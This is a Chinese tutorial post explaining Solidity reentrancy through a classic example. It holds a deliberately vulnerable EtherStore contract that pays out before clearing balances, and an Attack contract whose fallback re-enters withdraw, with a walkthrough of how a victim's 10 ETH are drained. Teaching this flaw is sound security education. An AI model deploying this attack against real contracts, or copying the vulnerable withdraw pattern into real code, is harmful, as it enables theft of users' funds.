重入漏洞EtherStore

重入漏洞

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw

知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

相关推荐
安当加密13 小时前
基于区块链的分布式密钥管理系统:构建去中心化、高可信的密码基础设施
分布式·去中心化·区块链
NewsMash13 小时前
“icoin如何重新定义交易所的安全与体验”
安全·区块链
爱看科技19 小时前
微美全息(NASDAQ:WIMI)融合区块链+AI+IoT 三大技术,解锁物联网入侵检测新范式
人工智能·物联网·区块链
金融数据出海2 天前
实时性、数据覆盖范围和易用性的优质金融数据源API推荐
后端·金融·区块链·ai编程
金融街小单纯2 天前
随机刺激训练:解锁跨学科洞察力的科学密码
算法·重构·区块链
本郡主是喵2 天前
基于区块链的电子投票系统的设计与实现(源码+文档)
区块链·毕业设计·solidity
leijiwen2 天前
AI × RWA 本地生活品牌数字资产管理与增长平台
人工智能·web3·区块链
brave_zhao3 天前
业务知识:强制平仓
区块链
我菜我有理3 天前
使用python爬取BSC链上交易(玩具版)
区块链
taxunjishu3 天前
DeviceNet 转 Modbus TCP 协议转换在 S7-1200 PLC化工反应釜中的应用
运维·人工智能·物联网·自动化·区块链